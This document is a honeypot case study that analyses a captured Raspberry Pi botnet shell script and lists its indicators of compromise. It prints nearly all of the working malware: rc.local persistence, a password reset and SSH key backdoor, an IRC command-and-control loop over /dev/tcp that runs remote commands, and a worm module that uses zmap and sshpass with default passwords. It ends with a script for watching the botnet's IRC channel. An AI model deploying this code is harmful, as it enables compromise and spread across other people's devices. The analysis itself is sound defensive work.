Catching hackers with a honeypot - Case study
Getting the sample
For this first case study, we'll base our analysis on a sample obtained by Cowrie. This sample can be found in the tpot installation folder, then in /data/cowrie/downloads/
.
The samples are malicious files. Handle them with caution. Always in a vm without internet connection
This first case study concerns a .sh file executed by a malicious actor to establish a botnet.
- Hash: b6ba24ff7f1b3a851fe896136086f39c7d11db7f60223cf87a4fe029469ce776
- Virustotal link: https://www.virustotal.com/gui/file/b6ba24ff7f1b3a851fe896136086f39c7d11db7f60223cf87a4fe029469ce776 (38/59)
First, let's trace where this sample comes from. For this, we use the following query:
type: Cowrie and "b6ba24ff7f1b3a851fe896136086f39c7d11db7f60223cf87a4fe029469ce776"
We expand the log to get more information:
- Source IP: 199.76.38.122 (https://www.virustotal.com/gui/ip-address/199.76.38.122)
- Geo IP: US Virgin Islands
- ASN: AS3983275 (Virgin Islands Next Generation Network)
Then we filter with this IP across all logs to get an overview:
src_ip: 199.76.38.122
We include the columns "Type", "input" and "message" to see the commands executed:
Hint about what the script might do, we see that the SSH client that initiated the connection apparently comes from a "Raspbian".
Raspbian is a Linux distribution based on Debian, specially designed for Raspberry Pi.
We can also see that the client, after trying an incorrect password, managed to connect with the login/password pair "pi:raspberry".
These are the default credentials for Raspbian.
The command used here scp -t /tmp/WPvDA7
activates "target" mode, which tells scp that the data sent to it is meant to be written to the file /tmp/WPvDA7
.
The advantage of this command is that the file is directly written to the victim's system, without going through the shell.
Finally, the attacker tries to execute the script via the command cd /tmp && chmod +x WPvDA7pO && bash -c ./WPvDA7pO
. However, the execution fails because Cowrie has already removed the file and collected the sample.
- The attacker probably uses a raspberry pi
- The attacker attempted to connect to an ssh server using the default Raspberry Pi credentials
- They then tried to transfer a script to the server and execute it
- The script couldn't be executed because Cowrie removed the file and collected the sample
Sample Analysis
Persistence module and removal of competing malware
#!/bin/bash
MYSELF=realpath $0
if [ "$EUID" -ne 0 ]
then
NEWMYSELF=`mktemp -u 'XXXXXXXX'`
sudo cp $MYSELF /opt/$NEWMYSELF
sudo sh -c "echo '#!/bin/sh -e' > /etc/rc.local"
sudo sh -c "echo /opt/$NEWMYSELF >> /etc/rc.local"
sudo sh -c "echo 'exit 0' >> /etc/rc.local"
sleep 1
sudo reboot
else
TMP1=`mktemp`
echo $TMP1 >> $DEBUG
First, the script initializes a variable MYSELF
containing the absolute path of the script.
Then, the script checks if the user is root. If not, it will copy the script to /opt/
and add a line in /etc/rc.local
so that the script is executed at startup. It thus establishes persistence.
Otherwise, it will create a temporary file and write the path of this file in the $DEBUG
variable.
killall bins.sh
killall minerd
killall node
killall nodejs
killall ktx-armv4l
killall ktx-i586
killall ktx-m68k
killall ktx-mips
killall ktx-mipsel
killall ktx-powerpc
killall ktx-sh4
killall ktx-sparc
killall arm5
killall zmap
killall kaiten
killall perl
The script will then kill several processes, all relating to "competitor" malware and others:
bins.sh
: https://github.com/funtimes-ninja/malware/blob/master/bins.shminerd
: https://github.com/pooler/cpuminerktx-*
: Mentioned here https://forums.raspberrypi.com/viewtopic.php?t=182515, seems to be linked with minerdkaiten
: Mentioned here https://www.eset.com/na/about/newsroom/press-releases/malwares-decouverts/les-chercheurs-deset-viennent-didentifier-une-nouvelle-version-de-kaiten-sattaquant-aux-routeurs/, seems to be malware attacking routerszmap
: Port scanner (probably to terminate other malware scanners)perl
: Scripting language
echo "127.0.0.1 bins.deutschland-zahlung.eu" >> /etc/hosts
rm -rf /root/.bashrc
rm -rf /home/pi/.bashrc
usermod -p \$6\$vGkGPKUr\$heqvOhUzvbQ66Nb0JGCijh/81sG1WACcZgzPn8A0Wn58hHXWqy5yOgTlYJEbOjhkHD0MRsAkfJgjU/ioCYDeR1 pi
mkdir -p /root/.ssh
echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCl0kIN33IJISIufmqpqg54D6s4J0L7XV2kep0rNzgY1S1IdE8HDef7z1ipBVuGTygGsq+x4yVnxveGshVP48YmicQHJMCIljmn6Po0RMC48qihm/9ytoEYtkKkeiTR02c6DyIcDnX3QdlSmEqPqSNRQ/XDgM7qIB/VpYtAhK/7DoE8pqdoFNBU5+JlqeWYpsMO+qkHugKA5U22wEGs8xG2XyyDtrBcw10xz+M7U8Vpt0tEadeV973tXNNNpUgYGIFEsrDEAjbMkEsUw+iQmXg37EusEFjCVjBySGH3F+EQtwin3YmxbB9HRMzOIzNnXwCFaYU5JjTNnzylUBp/XB6B" >> /root/.ssh/authorized_keys
The first line redirects all requests to bins.deutschland-zahlung.eu
to 127.0.0.1
, making it impossible to properly resolve this address.
The domain name bins.deutschlan-zahlung.eu
is potentially malicious, and currently only has an SSH service exposed on the internet.
The most convincing hypothesis is that this domain name is a competing botnet, and this line blocks access to this botnet.
On https://www.urlvoid.com/
, the domain deutschland-zahlung.eu
is detected by 4 engines as malicious. (Fortinet, Avira, Seclookup, CRDF)
Then, the script deletes the .bashrc
files of root and the pi
user.
The .bashrc
file is a configuration file that defines commands executed when opening a terminal
This file is often used by malware for persistence. Deleting it removes the means of persistence, to be the only malware executing.
The fact that the pi
user is targeted confirms that this malware targets Raspberry Pi.
The script will then modify the password of the pi
user to a hash, making it impossible to connect with the raspberry
password.
Finally, the script will create an .ssh
folder in the /root/
directory and add a public SSH key.
These 2 operations serve to keep an active backdoor within the infected machine.
echo "nameserver 8.8.8.8" >> /etc/resolv.conf
rm -rf /tmp/ktx*
rm -rf /tmp/cpuminer-multi
rm -rf /var/tmp/kaiten
cat > /tmp/public.pem <<EOFMARKER
-----BEGIN PUBLIC KEY-----
MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC/ihTe2DLmG9huBi9DsCJ90MJs
glv7y530TWw2UqNtKjPPA1QXvNsWdiLpTzyvk8mv6ObWBF8hHzvyhJGCadl0v3HW
rXneU1DK+7iLRnkI4PRYYbdfwp92nRza00JUR7P4pghG5SnRK+R/579vIiy+1oAF
WRq+Z8HYMvPlgSRA3wIDAQAB
-----END PUBLIC KEY-----
EOFMARKER
First, the malware will modify the /etc/resolv.conf
file to use Google's DNS server. This allows both:
- To connect the raspberry PI to the internet if it didn't have a DNS Server configured
- To bypass any DNS filtering to ensure requests will reach the command and control server
Then, the script will delete the ktx*
, cpuminer-multi
and kaiten
files in the /tmp/
and /var/tmp/
folders. (still to remove competing malware)
Finally, the script will create a /tmp/public.pem
file containing a public key. We'll come back to this key later.
Communication module with the command and control server
SYS=`uname -a | md5sum | awk -F' ' '{print $1}'`
NICK=a${SYS:24}
while [ true ]; do
arr[0]="ix1.undernet.org"
arr[1]="ix2.undernet.org"
arr[2]="Ashburn.Va.Us.UnderNet.org"
arr[3]="Bucharest.RO.EU.Undernet.Org"
arr[4]="Budapest.HU.EU.UnderNet.org"
arr[5]="Chicago.IL.US.Undernet.org"
rand=$[$RANDOM % 6]
svr=${arr[$rand]}
eval 'exec 3<>/dev/tcp/$svr/6667;'
if [[ ! "$?" -eq 0 ]] ; then
continue
fi
echo $NICK
eval 'printf "NICK $NICK\r\n" >&3;'
if [[ ! "$?" -eq 0 ]] ; then
continue
fi
eval 'printf "USER user 8 * :IRC hi\r\n" >&3;'
if [[ ! "$?" -eq 0 ]] ; then
continue
fi
# Main loop
while [ true ]; do
eval "read msg_in <&3;"
if [[ ! "$?" -eq 0 ]] ; then
break
fi
if [[ "$msg_in" =~ "PING" ]] ; then
printf "PONG %s\n" "${msg_in:5}";
eval 'printf "PONG %s\r\n" "${msg_in:5}" >&3;'
if [[ ! "$?" -eq 0 ]] ; then
break
fi
sleep 1
eval 'printf "JOIN #biret\r\n" >&3;'
if [[ ! "$?" -eq 0 ]] ; then
break
fi
elif [[ "$msg_in" =~ "PRIVMSG" ]] ; then
privmsg_h=$(echo $msg_in| cut -d':' -f 3)
privmsg_data=$(echo $msg_in| cut -d':' -f 4)
privmsg_nick=$(echo $msg_in| cut -d':' -f 2 | cut -d'!' -f 1)
hash=`echo $privmsg_data | base64 -d -i | md5sum | awk -F' ' '{print $1}'`
sign=`echo $privmsg_h | base64 -d -i | openssl rsautl -verify -inkey /tmp/public.pem -pubin`
if [[ "$sign" == "$hash" ]] ; then
CMD=`echo $privmsg_data | base64 -d -i`
RES=`bash -c "$CMD" | base64 -w 0`
eval 'printf "PRIVMSG $privmsg_nick :$RES\r\n" >&3;'
if [[ ! "$?" -eq 0 ]] ; then
break
fi
fi
fi
done
done
EOFMARKER
The script will first initialize 2 variables:
SYS
: Contains the MD5 hash of the output of theuname -a
commandNICK
: Contains the lettera
followed by the last 8 characters ofSYS
For example, if the result of the uname-a command is:
Linux raspberrypi 6.1.0-rpi4-rpi-v8 #1 SMP PREEMPT Debian 1:6.1.63-1+rpt1 (2024-01-18) aarch64 GNU/Linux
The result of NICK will be:
ae4d909
The purpose of this is to generate a unique nickname for each infected machine.
Once this nickname is generated, the script will connect to an IRC server.
It will choose a random server from a list of IRC servers and connect on port 6667. This list consists of:
- "ix1.undernet.org"
- "ix2.undernet.org"
- "Ashburn.Va.Us.UnderNet.org"
- "Bucharest.RO.EU.Undernet.Org"
- "Budapest.HU.EU.UnderNet.org"
- "Chicago.IL.US.Undernet.org"
"undernet.org" is an IRC network, which is one of the oldest IRC networks still active.
Generally, the rest of this module allows executing commands sent by the IRC server and sending back the results of these commands.
Messages received by the IRC server are of 3 types:
PING
: The bot must respondPONG
to indicate it's still connectedJOIN
: The bot must join an IRC channel (in this case#biret
)PRIVMSG
: The bot must decode the message, verify the signature, execute the command, and send back the result
Signature verification is done using the public key stored in /tmp/public.pem
. This behaviour is intended to prevent anybody from the botnet to send arbitrary commands to all bots.
Execution is done via the command bash -c "$CMD"
, and the result is sent back to the IRC server ($CMD being base64 encoded)
Module for infecting other targets
apt-get update -y --force-yes
apt-get install zmap sshpass -y --force-yes
while [ true ]; do
FILE=`mktemp`
zmap -p 22 -o $FILE -n 100000
killall ssh scp
for IP in `cat $FILE`
do
sshpass -praspberry scp -o ConnectTimeout=6 -o NumberOfPasswordPrompts=1 -o PreferredAuthentications=password -o UserKnownHostsFile=/dev/null -o StrictHostKeyChecking=no $MYSELF pi@$IP:/tmp/$NAME && echo $IP >> /opt/.r && sshpass -praspberry ssh pi@$IP -o ConnectTimeout=6 -o NumberOfPasswordPrompts=1 -o PreferredAuthentications=password -o UserKnownHostsFile=/dev/null -o StrictHostKeyChecking=no "cd /tmp && chmod +x $NAME && bash -c ./$NAME" &
sshpass -praspberryraspberry993311 scp -o ConnectTimeout=6 -o NumberOfPasswordPrompts=1 -o PreferredAuthentications=password -o UserKnownHostsFile=/dev/null -o StrictHostKeyChecking=no $MYSELF pi@$IP:/tmp/$NAME && echo $IP >> /opt/.r && sshpass -praspberryraspberry993311 ssh pi@$IP -o ConnectTimeout=6 -o NumberOfPasswordPrompts=1 -o PreferredAuthentications=password -o UserKnownHostsFile=/dev/null -o StrictHostKeyChecking=no "cd /tmp && chmod +x $NAME && bash -c ./$NAME" &
done
rm -rf $FILE
sleep 10
done
This module will install zmap
and sshpass
via apt-get
, then will scan IP addresses on port 22.
In zmap's documentation, we can see that the -n
argument corresponds to the number of targets. If no target is specified, Zmap will scan all available IP addresses on the internet.
If port 22 is detected as open, it will kill all current ssh/scp sessions.
The malware will then try 2 passwords combinations which are pi/raspberry and pi/raspberryraspberry993311.
If a session is successfully established, the malware will:
- Transfer its script to the target's
/tmp/
folder, using the$MYSELF
variable to get the absolute path of the script (via scp) - Execute the script on the target via the command
cd /tmp && chmod +x $NAME && bash -c ./$NAME
(via ssh).
IOCS
We can identify the following IOCs:
- "bins.deutschland-zahlung.eu"
- "ix1.undernet.org"
- "ix2.undernet.org"
- "Ashburn.Va.Us.UnderNet.org"
- "Bucharest.RO.EU.Undernet.Org"
- "Budapest.HU.EU.UnderNet.org"
- "Chicago.IL.US.Undernet.org"
-----BEGIN PUBLIC KEY-----
MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC/ihTe2DLmG9huBi9DsCJ90MJs
glv7y530TWw2UqNtKjPPA1QXvNsWdiLpTzyvk8mv6ObWBF8hHzvyhJGCadl0v3HW
rXneU1DK+7iLRnkI4PRYYbdfwp92nRza00JUR7P4pghG5SnRK+R/579vIiy+1oAF
WRq+Z8HYMvPlgSRA3wIDAQAB
-----END PUBLIC KEY-----
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCl0kIN33IJISIufmqpqg54D6s4J0L7XV2kep0rNzgY1S1IdE8HDef7z1ipBVuGTygGsq+x4yVnxveGshVP48YmicQHJMCIljmn6Po0RMC48qihm/9ytoEYtkKkeiTR02c6DyIcDnX3QdlSmEqPqSNRQ/XDgM7qIB/VpYtAhK/7DoE8pqdoFNBU5+JlqeWYpsMO+qkHugKA5U22wEGs8xG2XyyDtrBcw10xz+M7U8Vpt0tEadeV973tXNNNpUgYGIFEsrDEAjbMkEsUw+iQmXg37EusEFjCVjBySGH3F+EQtwin3YmxbB9HRMzOIzNnXwCFaYU5JjTNnzylUBp/XB6B
Infiltrating the botnet
It's possible to connect to the mentioned IRC servers to observe the botnet in action. Indeed, we won't be able to issue commands since they have a signature verification before execution.
We can create a script that's inspired by the malware but doesn't execute any commands:
#!/bin/bash
LOG_FILE="/tmp/irc_monitor.log"
# Generate unique nickname based on system hash
SYS_HASH=$(uname -a | md5sum | awk '{print $1}')
NICK="a${SYS_HASH:24:8}"
# UnderNet IRC servers list
SERVERS=(
"ix1.undernet.org"
"ix2.undernet.org"
"Ashburn.Va.Us.UnderNet.org"
"Bucharest.RO.EU.Undernet.Org"
"Budapest.HU.EU.UnderNet.org"
"Chicago.IL.US.Undernet.org"
)
SERVER=${SERVERS[$RANDOM % ${#SERVERS[@]}]}
# Default IRC port
PORT=6667
CHANNEL="#biret" # Can be changed to another channel
# Clean log at startup
echo "[$(date)] Starting IRC logger on $SERVER:$PORT with nickname $NICK" | tee "$LOG_FILE"
while true; do
# Open TCP connection
exec 3<>/dev/tcp/$SERVER/$PORT
if [[ $? -ne 0 ]]; then
echo "[$(date)] Connection failed to $SERVER:$PORT, trying another server..." | tee -a "$LOG_FILE"
SERVER=${SERVERS[$RANDOM % ${#SERVERS[@]}]}
sleep 5
continue
fi
# Send IRC commands
echo "NICK $NICK" >&3
echo "USER $NICK 8 * :IRC Hi" >&3
# Wait for messages
while read -r line <&3; do
echo "[$(date)] $line" | tee -a "$LOG_FILE"
if [[ "$line" =~ ^PING ]]; then
PONG_RESPONSE=${line/PING/PONG}
echo "$PONG_RESPONSE" >&3
echo "[$(date)] Sent: $PONG_RESPONSE" | tee -a "$LOG_FILE"
# Once connected, join specific channel
echo "JOIN $CHANNEL" >&3
echo "[$(date)] Joined channel $CHANNEL" | tee -a "$LOG_FILE"
fi
done
echo "[$(date)] Disconnected, attempting reconnection..." | tee -a "$LOG_FILE"
sleep 5
done
Here's the script result:
We can see that the botnet is probably inactive, since it has 3 users, including ourselves, 1 member who has an uncommon name a-3128547
(so probably a logger), and another member who has a name generated by the malware aa0027afc
.
This member has the IP "60.250.214.40", and is referenced on shodan:
This corresponds to a mikrotik router, which no longer has its SSH port exposed. Therefore it's not currently infectable, but the malware continues to be executed by this machine.
It's also possible that this IP is the "NATed" IP, and that the infected machine is in this IP's internal network.